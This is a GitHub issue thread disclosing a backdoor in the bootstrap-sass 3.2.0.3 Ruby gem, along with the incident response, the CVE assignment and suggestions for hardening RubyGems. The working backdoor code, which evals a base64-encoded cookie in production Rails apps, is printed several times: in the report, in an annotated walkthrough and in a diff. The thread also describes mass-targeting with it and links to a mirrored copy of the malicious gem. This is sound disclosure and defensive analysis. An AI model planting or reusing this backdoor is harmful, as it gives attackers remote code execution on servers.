3.2.0.3?

[dgb]

Hi there,

We noticed that 3.2.0.2 was yanked, and 3.2.0.3 was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the 3.2.0.3 code on GitHub.

Looking further, there's some...interesting looking code in what i installed via gem install bootstrap-sass -v 3.2.0.3 (in a file named lib/active-controller/middleware.rb):

begin
  require 'rack/sendfile'
  if Rails.env.production?
    Rack::Sendfile.tap do |r|
      r.send :alias_method, :c, :call
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          eval(x) if x
        rescue Exception
        end
        c(e)
      end
    end
  end
rescue Exception
  nil
end

I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and eval-ing it, which seems suspect. Please advise.

[codytubbs]

Definitely a backdoor. Everything that's been updated in this account (recently) should be assumed backdoored until this is acknowledged and they follow proper methods on eradicating the culprit.

https://www.incidentresponse.com/playbooks/

https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-

The __cfduid cookie should never be evaluated like that.

[evanphx]

The offending gem has been removed from rubygems.org.

[glebm]

@evanphx Can we find out whose account it was pushed from?

[glebm]

There is currently only 2 people who have push rights to this gem: @thomas-mcdonald and me.
I've changed my password just now.

Still need to go through all my gems, unfortunately I maintain a lot of them, really hoping it wasn't my account.

[glebm]

I've changed my password on rubygems.org and removed Thomas from owners for now as a precaution, @evanphx also got in touch with me via email.

[codytubbs]

@glebm any (auth/access) tokens? May want to check email addresses in other accounts to ensure recovery methods weren't manipulated. Sorry you're having to go through this! Always a nightmare.

[evanphx]

@glebm We don't keep track of which account it came from, no. But since we invalidating api tokens and you have change passwords, you're safe.

[AndrewSwerlick]

What's the recommended next steps for apps that were using 3.2.0.2 and can no longer build since that version was yanked. Should we be upgrading to 3.3.5.1? Will you restore a safe version of 3.2.0.2? Should we take any particular audit and mitigation steps ourselves?

[darix]

@evanphx can you check if the same IP maybe uploaded other gems around the time?

[glebm]

Will you restore a safe version of 3.2.0.2?

Yes, but not for a few days (maybe longer) as I'm busy.

Upgrading to v3.4.1 is recommended, and should be easy as there is very few backwards incompatibilities between 3.2 and 3.4 releases, and lots of bug fixes.

[edgarv09]

@AndrewSwerlick actually we update to v3.4.1 and everything seem ok. i'll keep updated if i saw something.

[thomas-mcdonald]

@glebm @evanphx Thanks for the quick action + pulling my access - I have rotated my creds and enabled 2fa across UI / API.

[uri]

I see that Rubygems reports that 3.2.0.3 is listed as yanked from Rubygems, but I seem to be able to download it. What's strange is our CI originally alerted us about the CVE but if I set the version to ~> 3.2.0 I'm still able to get the malicious patch and no warnings from CI.

[uri]

Just to be clear, I don't think this is a local caching issue. I'm seeing 3.2.0.3 installed in the build log for a Heroku test app but if I try to install 3.2.0.2 then the Heroku build fails as expected as it cannot find 3.2.0.2.

I also followed https://help.heroku.com/18PI5RSY/how-do-i-clear-the-build-cache and I am still able to get the malicious patch.

[glebm]

Huh, it should not be possible to download yanked gems.

[d3chapma]

I can confirm that I never downloaded 3.2.0.3 locally, but I am able to do so:

[glebm]

@evanphx How is this possible?

[glebm]

Ah, there is an answer in rubygems/rubygems.org#1941

[uri]

Should a CVE be created for this then? It seems that yanking the gem was not enough.

[glebm]

I think a CVE should be created even if the yanking did work!

[glebm]

I'll release 3.2.0.4 (identical to 3.2.0.2) later today.

[glebm]

v3.2.0.4 released

[lirantal]

Liran from Snyk here. Happy to see that this got caught very quickly (great job @dgb!) and the maintainers responding promptly with with credentials resets and yanking out the package (well done!).

If there's anything we can help at Snyk with the security research such as checking other potentially tampered versions or packages by the maintainers whose creds were linked and such let me know!

P.S. We're looking at some repository details, and stats to get more insights into the impact of this and I'm also taking up notes for a summary of this to be published on our blog.

[glebm]

@lirantal If you could file a CVE that'd be great! I have no experience with those.

[codytubbs]

@glebm @thomas-mcdonald not to beat a dead horse, but did either of you determine which had their creds compromised, or collaborate on root cause? Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again? Cheers.

[glebm]

We couldn't find any evidence pointing towards either of our accounts. None of our other gems have been affected, and RubyGems doesn't have any sort of log to determine who pushed the gem.

I did have a relatively weak password for RubyGems (I created my account there a long time ago, before any of the current password policies were in place).

[lirantal]

@glebm cool, looking into the CVE request. I'll keep you posted.

[codytubbs]

@lirantal I've requested a CVE. Will keep you posted.

[lirantal]

great thanks @codytubbs!

we've got the blog post up at https://snyk.io/blog/malicious-remote-code-execution-backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/ and it's been added to Snyk's database too at https://snyk.io/vuln/SNYK-RUBY-BOOTSTRAPSASS-174093

[wigsofoz]

https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-

The __cfduid cookie should never be evaluated like that.

It's a disguise. The exploit makes use of ___cfduid, with three underscores. CloudFlare makes use of __cfduid, with two underscores.

Web application firewalls could also be set to look for hostile connections making use of the three-underscore version, and block them.

[codytubbs]

The MITRE CVE assignment team has issued CVE-2019-10842

[benkoshy]

I've added some detailed commentary after studying the code, as an exercise for myself to try and understand what is going on. It may help someone else.

Detailed Comments on the Code

begin
  require 'rack/sendfile'
  if Rails.env.production? # Continue only if we're in the rails production environment:

    Rack::Sendfile.tap do |r|
      # We're using the tap method. the block parameter, r, will be the Rack::Sendfile class.
      # So whenever you see r, just think we are working with the Rack::Sendfile class.

      r.send :alias_method, :c, :call
      # creates a method on Rack::Sendfile called `c` which reroutes to `call`.     
      ## After the above you could now do:
      # send_file = Rack::Sendfile.new
      # send_file.c
      ## and the above would in turn call the ORIGINAL `call` method contained in the 
      ## Rack::Sendfile class, and not the one that is being monkey patched below.
      ## `r.send` makes use of the `Object#send` method https://apidock.com/ruby/Object/send
      ## Another way of rewriting the above code would be:
      ## `Rack::Sendfile.alias_method(:c, :call)` which is equivalent to: 
      ## `r.send :alias_method, :c, :call`

      ## The following bit of code below bit redefines the call(e) method which is in 
      ## the SendFile class: https://github.com/rack/rack/blob/master/lib/rack/sendfile.rb
      ## again, `r.send(:define_method, :call) do |e|` is equivalent to saying:
      ## class Rack::Sendfile
      ##   def call(e)
      ##         # => Insert the malicious code below: begin....rescue...end
      ##   end      
      ## end
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          # Please edit this if you are more knowledgeable: 

          # gets the e['HTTP_COOKIE'] value out of there.
          # then it scans/looks for this for this value: ___cfduid and extracts it with
          # a regular expression.
          # we then get the entire string out of those cookie(s) and convert it to a string
          # then we unencode it and
          # "eval" simply runs whatever code it's been given, AS A STRING!
          # so that someone could simply construct a request with the malicious code, 
          # hidden in a cookie and can run it on your server.
          # simplistically: I could send this: e("WIPE HARDRIVE") 
          # and it would run, provided the security levels in eval are passed.
          eval(x) if x
        rescue Exception
        end

        c(e)
        # after we've done the dirty work, let's run the ORIGINAL `call` method, as 
        # defined in the Rack::Sendfile class. so no one would be none the wiser. 
        # in other words, we've created an aliased method `c`. Running `c`
        # runs the ORIGINAL `call` method, and not the monkey patched one above.
        # But if you run `call` instead of `c`, you will be actually running the tainted and 
        # monkey patched `call` method above, and not the original `call` method defined.
        # in Rack::Sendfile. Like Kelley Wentworth says: "Sneaky, sneaky, sneaky!"
      end
    end
  end
rescue Exception
  nil
end

[thbar]

Thanks @BKSpurgeon - useful when linking people to this.

The "nice" characteristic of this exploit is that you can mass-target random IP or domains on the internet to issue a first cheap validation test (e.g. a first code could inject something that sets a given header for responses), then based on the responses, level up to manually curate the interest provided by the target.

That, coupled with the popularity of the gem, makes it very usable.

Many thanks @dgb for the report here.

[thomas-mcdonald]

Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again?

@codytubbs Given the lack of logging, my best guess is one of us got credential stuffed. With MFA enabled across UI + API and credentials/tokens rotated, in theory this closes that as a future vector. Given my lack of activity on this project, I'm also happy to revoke my write access to the gem.

Many of the followups I can think of would be on the Rubygems side and would improve the state of security across the ecosystem - I'm happy to invest some engineering time in improving this:

for root-causing incidents:

• audit log of who pushed what

as a gem owner:

• ability to enforce MFA-only pushes
• ability to see which users with write access have MFA-enabled

making security easier:

• push hint to users on non-mfa-rubygems.org pushes that MFA is available and preferred
• change default MFA behaviour from UI-only to UI + API, eventually deprecate UI-only MFA

[glebm]

To add to the rubygems list:

• Keep the number of downloads stats even for yanked gems.
• Ability to really delete yanked gems when they contain malware.

[derekeweeks]

Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

[TheKingOfDuck]

@derekeweeks Me too. If you get it .Please share with us

[dgb]

Wow, it's not every day that you find yourself in the middle of a large-ish security issue. I've been moving and preparing for a trip, but I finally found the time to write up an account of what went on when I found the backdoor (since I know some people have been curious about it):

http://dgb.github.io/2019/04/05/bootstrap-sass-backdoor.html

I won't really be online for work purposes until mid-May, but I'll be watching this issue, and I'll try to respond to any direct questions/comments.

[glebm]

The number of downloads is now displayed (rubygems/rubygems.org#1946) for yanked gems (it's 1,477 for the 3.2.0.3).

Yanked gems are really deleted normally, and 3.2.0.3 also got really deleted. See rubygems/rubygems.org#1941 (comment) for details.

[lirantal]

Great update on the websiete, thanks @glebm!

[uri]

Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

This is the entire diff between 3.2.0.4 (which is a reupload of 3.2.0.2) and 3.2.0.3.

diff -Naur gems/bootstrap-sass-3.2.0.4/CHANGELOG.md gems/bootstrap-sass-3.2.0.3/CHANGELOG.md
--- gems/bootstrap-sass-3.2.0.4/CHANGELOG.md	2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/CHANGELOG.md	2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
 # Changelog

+## 3.2.0.3
+
+* Recompile with libsass
+
 ## 3.2.0.2

 Fixed a number of bugs. [Issues closed in v3.2.0.2](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av3.2.0.2).
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb	1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb	2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+  require 'rack/sendfile'
+  if Rails.env.production?
+    Rack::Sendfile.tap do |r|
+      r.send :alias_method, :c, :call
+      r.send(:define_method, :call) do |e|
+        begin
+          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+          eval(x) if x
+        rescue Exception
+        end
+        c(e)
+      end
+    end
+  end
+rescue Exception
+  nil
+end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb	2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
 module Bootstrap
-  VERSION = '3.2.0.4'
+  VERSION = '3.2.0.3'
   BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
 end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb	2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@

     def register_rails_engine
       require 'bootstrap-sass/engine'
+      require 'active-controller/middleware'
     end
   end
 end

@derekeweeks @TheKingOfDuck

[dagnyc]

Hello, bootstrap-sass-3.2.0.2 had the files b3.js and core-b3.js but these do not exist in newer versions. Why were they removed/renamed? And how do we now fix applications that relied on them?

[TheKingOfDuck]

Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

This is the entire diff between 3.2.0.4 (which is a reupload of 3.2.0.2) and 3.2.0.3.

diff -Naur gems/bootstrap-sass-3.2.0.4/CHANGELOG.md gems/bootstrap-sass-3.2.0.3/CHANGELOG.md
--- gems/bootstrap-sass-3.2.0.4/CHANGELOG.md	2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/CHANGELOG.md	2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
 # Changelog

+## 3.2.0.3
+
+* Recompile with libsass
+
 ## 3.2.0.2

 Fixed a number of bugs. [Issues closed in v3.2.0.2](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av3.2.0.2).
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb	1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb	2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+  require 'rack/sendfile'
+  if Rails.env.production?
+    Rack::Sendfile.tap do |r|
+      r.send :alias_method, :c, :call
+      r.send(:define_method, :call) do |e|
+        begin
+          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+          eval(x) if x
+        rescue Exception
+        end
+        c(e)
+      end
+    end
+  end
+rescue Exception
+  nil
+end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb	2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
 module Bootstrap
-  VERSION = '3.2.0.4'
+  VERSION = '3.2.0.3'
   BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
 end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb	2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@

     def register_rails_engine
       require 'bootstrap-sass/engine'
+      require 'active-controller/middleware'
     end
   end
 end

@derekeweeks @TheKingOfDuck

Thanks so much

[derekeweeks]

@dgb @glebm @TheKingOfDuck one of my colleagues found a copy here: http://mirror.auckland.ac.nz/rubygems/gems/bootstrap-sass-3.2.0.3.gem

[TheKingOfDuck]

@derekeweeks Get,Before u post it , I was trying to recode 3.2.0.4 to 3.2.0.3 by myself. (base on #1195~ thanks so much

[dagnyc]

@glebm Hi, can you put 3.2.0.2 back? I understand that 3.2.0.3 had malicious code in it but why yank both versions? I have an app that depends on 3.2.0.2 so now my bundle install fails.

[glebm]

You can use 3.2.0.4, which is identical to 3.2.0.2. We can't put 3.2.0.2 back because yanked gems cannot be un-yanked.

[dagnyc]

@glebm thanks for the quick response! Maybe I'm misunderstanding something but I'm getting errors when I do assets:precompile. I'll have to investigate more